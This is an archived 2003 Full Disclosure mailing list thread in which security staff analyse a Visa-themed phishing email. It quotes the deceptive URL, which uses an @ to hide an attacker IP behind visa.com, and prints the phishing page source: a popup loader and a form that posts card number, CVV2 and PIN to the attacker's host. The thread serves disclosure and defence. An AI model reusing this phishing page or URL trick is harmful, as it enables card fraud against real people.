Full Disclosure mailing list archives

RE: visa XSS?


From: "Knarr, Joshua" <joshua.knarr () sap com>
Date: Tue, 23 Dec 2003 16:01:19 +0100


My bad, it was just pointed out to me that redirection between @ and %01@ are different things.  I don't mean to take 
shots at the Xforce guys.

Thanks guys.

-----Original Message-----
From: full-disclosure-admin () lists netsys com 
[mailto:full-disclosure-admin () lists netsys com] On Behalf Of Gary Flynn
Sent: Tuesday, December 23, 2003 9:30 AM
To: Mauro Flores
Cc: full-disclosure () lists netsys com
Subject: Re: [Full-disclosure] visa XSS?



Mauro Flores wrote:

I receive this mail today, the funny stuff is that when you 
click on the
link, you execute:

http://www.visa.com:UserSession=2f6q9uuu88312264trzzz55884495&u
seroption=SecurityUpdate&StateLevel=GetFrom@64.21.80.2/~gotier/verified_by_visa.htm

I don't have a Visa card and I don't like that 64.21.80.2 
which is not a
Visa IP, AFAIK.
Anyone else receive it??

Yeah. We just got one here. I missed the first part of this thread
so I don't know if I'm repeating stuff.

The original email came from an address registered in Korea.

Although the present web site redirects to the VISA site, if 
you look at
the source you'll find:

<HTML><HEAD>
<TITLE>Secure with Visa</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<meta http-equiv='refresh' content='0; 
url=http://www.usa.visa.com/personal/privacy_policy/?it=ft_/per
sonal/secure_with_visa/index.html'>
<BODY>
      <script language="JavaScript">
<!--


//     alert("popali");
      window.name="spec";
      window.open("http://64.21.80.2/~gotier/r.php";, 'Visa', 
"resizable=no,scrollbars=no,width=425,height=198");    
//     window.focus();
//-->
</script>
</BODY></HTML>

And that r.php is a phish:

Please, enter your data info!<html>
<head>
<title>Enter your data</title>
</head>
<body>
<br>
<form method=post action=http://64.21.80.2/~gotier/r.php>
Credit Card No. <input type=text name=cc value=''><br>
CVV2 <input type=text name=cvv2 value=''><br>
PIN-ATM CODE: <input type=text name=pin value=''><br>
Expiration Date: month : <select name=month>
<option value=01>01
<option value=02>02
<option value=03>03
<option value=04>04
<option value=05>05
<option value=06>06
<option value=07>07
<option value=08>08
<option value=09>09
<option value=10>10
<option value=11>11
<option value=12>12
</select> year : <select name=year>
<option value=2003>2003
<option value=2004>2004
<option value=2005>2005
<option value=2006>2006
<option value=2007>2007
<option value=2008>2008
<option value=2009>2009
<option value=2010>2010
<option value=2011>2011
<option value=2012>2012
</select>
<br><br>
<input type=submit value='Send');
</form>
</body>
</html>

-- 
Gary Flynn
Security Engineer - Technical Services
James Madison University


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